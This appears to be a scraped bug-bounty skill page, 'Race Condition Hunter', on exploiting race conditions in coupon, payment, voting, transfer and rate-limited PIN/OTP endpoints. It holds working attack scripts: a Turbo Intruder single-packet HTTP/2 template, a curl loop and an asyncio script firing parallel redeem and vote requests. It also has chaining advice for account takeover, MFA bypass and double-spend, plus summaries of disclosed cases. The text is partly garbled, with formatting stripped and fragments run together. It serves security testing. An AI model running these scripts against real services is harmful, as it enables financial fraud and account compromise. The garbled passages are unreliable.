buggy HunterRace condition exploitation on payment flows, coupon redemption, rate-limit bypass, and parallel request amplification.
Race conditions are high-severity findings because they break financial, access control, and integrity assumptions that defenders rarely stress-test. Highest payouts come from:
/vote, /upvote, /like, /favorite
/redeem, /apply-coupon, /use-code, /claim
/purchase, /checkout, /confirm-order, /pay
/transfer, /withdraw, /send-money
/invite, /referral, /accept-invite
/upgrade, /activate, /trial
/delete, /deactivate, /cancel
/follow, /subscribeX-RateLimit-* # rate limiting exists, but may not be atomic
X-Request-Id # each request independently tracked
No Cache-Control # stateful ops not idempotent// Single-use action buttons with client-side disable
button.disabled = true
$('#btn').prop('disabled', true)
// Optimistic UI updates (state set before server confirms)
setState({ used: true })
// Sequential async calls without locking
await useVoucher(); await deductBalance();with_lock / lock! — ActiveRecord doesn't lock by defaultSELECT ... FOR UPDATE — common in legacy codebasesINCR atomicity checksengine=Engine.BURP2 for last-byte sync
- curl with & backgrounding
- Python threading or asyncio with pre-built connections
200 OK where only one should succeed
- Duplicate success messages
- Database constraint errors (signals the race worked but hit the last-line-of-defense)
- Inconsistent response times (one fast, rest slow = serialized; all same speed = parallel processing)
# turbo_intruder_race.py
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2) # HTTP/2 single-packet
for i in range(20):
engine.queue(target.req, gate='race1')
engine.openGate('race1')
def handleResponse(req, interesting): if '200' in req.status: table.add(req)
# Fire 15 simultaneous vote/redeem requests
for i in $(seq 1 15); do
curl -s -o /dev/null -w "%{http_code}\n" \
-X POST "https://target.com/api/vote" \
-H "Cookie: session=YOUR_SESSION" \
-H "Content-Type: application/json" \
-d '{"report_id": "12345", "vote": "up"}' &
done
waitimport asyncio, aiohttp
async def race_request(session, url, payload, headers): async with session.post(url, json=payload, headers=headers) as r: return await r.text()
async def main(): url = "https://target.com/redeem" payload = {"code": "GIFT50"} headers = {"Cookie": "session=XXXXX"} async with aiohttp.ClientSession() as session: tasks = [race_request(session, url, payload, headers) for _ in range(20)] results = await asyncio.gather(*tasks) for r in results: print(r[:100]) # print first 100 chars of each response
asyncio.run(main())
# Look for read-then-write without locking
grep -rn "find_by\|where.*first" --include="*.rb" | grep -v "lock"
grep -rn "SELECT.*WHERE" --include="*.php" | grep -v "FOR UPDATE"
# JavaScript async without atomicity grep -rn "await.*get\|await.*find" --include="*.js" -A2 | grep "await.*update\|await.*save"
# Python Django ORM without select_for_update grep -rn "\.get(\|\.filter(" --include="*.py" | grep -v "select_for_update"
# Verify target supports HTTP/2 (prerequisite for single-packet attack)
curl -sI --http2 https://target.com | grep -i "HTTP/2\|h2"if voucher.used == false), then writes state (voucher.update(used: true)) in two separate database operations. Any thread can read the same "unused" state before either writes.find or filter instead of SELECT ... FOR UPDATE. The fix is one line but developers don't think about concurrency.votes_count += 1; save() instead of an atomic SQL UPDATE SET votes = votes + 1 WHERE id = ?.false during a cache miss window when the first write hasn't propagated yet.Defense: Per-user rate limiting
UPDATE ... WHERE used=false RETURNING id truly prevents this.Before writing the report, confirm all three:
The following real, verified bug-bounty / coordinated-disclosure cases extend this skill. Four cases (#4, #11, #12, plus the bonus reference) use the modern HTTP/2 single-packet attack technique (Kettle DEF CON 31, 2023; Flatt Security expansion 2024) — the technique that makes most modern race exploits viable today.
POST /-/profile requests changing email to two different addresses; the verification token sent to address A becomes valid for address B because state transitions weren't atomic
- Root cause: Devise (Rails auth) builds the confirmation token before the new email is persisted; concurrent updates misroute the token
- Year: 2022 (disclosed 2023), CVSS 6.4, patched 15.7.2 / 15.6.4 / 15.5.7
canVerifyForAction appended to an array without DB-level locking; fix added nullifiers table with atomic UPSERT
- Year: 2023 — $3,000 (High)
promotion_code.times_redeemed
- Year: 2022 — $250
POST /gift_cards/redeem → duplicate N× → fire parallel → balance credited N× from a single card
- Root cause: gift-card consumption marker written after balance credit, no SELECT…FOR UPDATE around the redemption read
- Year: 2019 — $1,500 (foundational/widely cited)
/faucet/transfer requests; the Transfer Go function executes two state-mutating actions per request, both non-atomic
- Root cause: faucet handler did not lock per-recipient; transfer() read-modify-write was not serialized
- Year: 2022 — $5,000 (CVSS 9.3)
token_used flag committed → reward granted on every winning request
- Root cause: token-consumption flag set in same transaction as reward grant, but transaction isolation level too low (READ COMMITTED)
- Year: 2019 — $2,000
POST /verify-pin requests in 166 ms, each with a different 4-6 digit guess, all landing inside the rate-limit window
- Root cause: rate-limit counter incremented per-request asynchronously; "5 attempts" gate read stale counter for the entire batch
- Year: 2024 — must-reference modern single-packet example
POST /checkout/PlaceOrder requests both applying the same gift card → both orders complete, gift card balance debited once
- Root cause: order-placement code path did not implement locking on gift-card balance row → check-then-debit non-atomic
- Year: 2024 (versions before 4.80.0)
The single-packet attack is the most important race-condition technique published since 2020. It collapses the race window from "tens of milliseconds with TCP-handshake jitter" to "the time the server's worker pool takes to dispatch N pre-buffered requests" — typically under 1 ms for the entire batch. This is what makes modern race exploits viable against rate-limited, distributed, load-balanced backends that previously seemed un-race-able.
Original research: James Kettle, PortSwigger — "Smashing the State Machine" (DEF CON 31, August 2023) [portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine). 2024 extension: RyotaK / Flatt Security — "Beyond the Limit: Expanding Single-Packet Race Condition with First Sequence Sync" [flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/).
A race exploit fails for two reasons that look like the same problem but aren't:
HEADERS frames, and each HEADERS frame can be the last frame of a separate stream.For (2) — server-side dispatch ordering — Kettle showed that modern backends (Node.js, Go, async Python) dispatch concurrently within microseconds when handed a packet of N pre-parsed requests. Older blocking backends (default Apache prefork, single-threaded PHP-FPM) serialise even with single-packet delivery; for those, the technique helps less but still wins over TCP-stream sequencing.
The exact mechanic Kettle documented:
HEADERS frame with the END_HEADERS flag and a DATA frame containing all but the last byte of the body. Do NOT set END_STREAM yet.DATA frames each carrying 1 byte with END_STREAM set. TCP coalesces them into one outbound segment. The server's HTTP/2 parser sees END_STREAM on all N streams in the same scheduler tick.SELECT ... FOR UPDATE and worker N+1's same query — typically nanoseconds when the workers run on the same CPU.
To confirm your attack tool is genuinely producing one-packet sync (vs accidentally fragmenting):
sudo tcpdump -i lo0 -w race.pcap port 443 (or interface 0).tls and tcp.port == 443.engine=Engine.BURP2 implementation guarantees single-packet delivery on HTTP/2 targets when the request body fits in MTU. For larger bodies, see the "Race-window estimation" subsection below.
Two variants depending on what protocol the target speaks:
h2 in ALPN. Default approach.Content-Length confuses the front-end into emitting two HTTP/1.1 requests to the back-end on the same connection. Pairs with HTTP request smuggling (see hunt-http-smuggling). Useful when single-packet HTTP/2 is filtered at the front-end but the back-end is reachable in HTTP/1.1.curl -sI --http2 https://target.com | grep -i HTTP/2. If the server doesn't speak h2, single-packet is not directly applicable — fall back to "parallel-pipelining" over HTTP/1.1 (much wider race window; usually loses the race against modern backends, but still useful for naive ones).
Before firing the attack, estimate the race window. This determines whether you need single-packet at all, and how many concurrent requests to send.
T_single.T_seq1, T_seq2.T_par1, T_par2.T_par1 ≈ T_par2 ≈ T_single, the server handles both in parallel — race window is min(T_par1, T_par2), single-packet helps a lot.T_par2 ≈ T_par1 + T_single, the server serialises — race window is whatever happens between sequential workers; single-packet helps less but still wins over TCP jitter.T_single to be 10–100 ms (DB query latency). The race window inside the server is typically < 1 ms (the gap between SELECT and UPDATE on the same row).N = 30 concurrent requests for single-packet h2. Increase to 100+ if the target's T_single is < 10 ms (very fast endpoint = larger pre-buffer needed to overflow the worker pool). Up to 10,000 with Flatt's first-sequence-sync extension (see below).A decision tree for picking the right shape:
Engine.BURP2 template — explaineddef queueRequests(target, wordlists):
# 1. Engine.BURP2 = HTTP/2 single-packet engine; provides the last-byte-sync primitive.
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=1, # 2. One TCP connection, multiplexing all streams.
requestsPerConnection=100, # 3. Up to 100 concurrent H2 streams. >30 needs Flatt-extension.
engine=Engine.BURP2, # 4. THE critical line — selects the single-packet engine.
pipeline=False, # 5. Pipelining is for HTTP/1.1; irrelevant on H2.
)
# 6. Build N requests. Each is identical here — racing the same endpoint. # For PIN brute-force, vary the body across requests. for i in range(30): engine.queue(target.req)
# 7. openGate(...).complete(...) is the API call that performs last-byte-sync: # - Buffer all 30 requests up to "last byte not sent" # - Release all final bytes in a single TCP write # - openGate returns immediately; complete waits for all responses. engine.openGate("race1") engine.complete(timeout=10)
The Engine.BURP2 import does the heavy lifting. Behind the scenes:
engine.queue(req) adds a HEADERS frame to the connection's send buffer but withholds the last DATA frame byte.openGate("race1") blocks until all 30 are buffered, then issues a single socket.send(...) containing 30 × 1-byte DATA frames with END_STREAM. All 30 cross the wire in one IP packet (assuming < MTU).complete(timeout=10) collects responses and times.req.code, req.length, req.time. The race is "won" when at least 2 requests return a success that should logically have been mutually exclusive (e.g., both coupon-applies succeed when the redemption limit was 1).
Kettle's original single-packet caps at roughly N=30 due to MTU + TLS record limits. Flatt Security's RyotaK published the extension in August 2024:
Implementation: [flatt.tech/research/posts/beyond-the-limit-...](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) includes a working PoC.
| Scenario | Tool / variant |
|---|---|
Modern HTTPS target, ALPN advertises h2, body < 1400 bytes, need N ≤ 30 | Turbo Intruder Engine.BURP2 single-packet — default |
| Same as above but body > MTU | Multi-connection HTTP/2; widen window estimate by ~5 ms |
| Target speaks HTTP/1.1 only (no h2 ALPN) | curl --next parallel pipeline; race window is wide; only viable on slow servers |
| Need N > 30 (PIN brute-force, OTP exhaustion within rate-limit window) | Flatt first-sequence-sync extension; manual implementation per the writeup |
| Front-end h2, back-end h1 (CDN+origin) | h2.cl smuggling variant — pairs with hunt-http-smuggling |
| Quick reproducibility test on a single endpoint | curl --next --next --next --next (4-shot parallel HTTP/1.1) — wide window but no setup |
hunt-http-smuggling — h2.cl multi-frame varianthunt-mfa-bypass — OTP rate-limit window single-packet bypass (Flatt PIN-bruteforce class)hunt-business-logic — coupon / wallet / promo state-machine races where single-packet is the enabling primitivehunt-business-logic — Race conditions are the "concurrency arm" of every business-logic state machine. Chain primitive: business logic (coupon/promo) + race-condition single-packet attack → coupon redeemed N times → direct financial loss.hunt-mfa-bypass — OTP-expiry windows and replay protection are classic race targets. Chain primitive: race + MFA-validate endpoint → bypass OTP expiry by submitting N concurrent validations within the validity window.hunt-ato — Race conditions on password reset, email change, and account creation enable persistent ATO. Chain primitive: race on email-change endpoint + atomic-update missing → swap victim email + read reset token before user notice.hunt-api-misconfig — Wallet/balance/credit endpoints without atomic UPDATE are double-spend candidates. Chain primitive: race + atomic-update missing → double-spend balance → withdraw N× user balance.security-arsenal — Load the Turbo Intruder single-packet template, h2.cl smuggling for atomic submit, and curl --next parallel multi-request patterns.triage-validation — Apply the Statistical-Sampling gate: a single anomalous response is noise; require 1 successful + N duplicate / over-quota / stale-state demonstrations with response screenshots before reporting.Questions about Race Condition Hunter?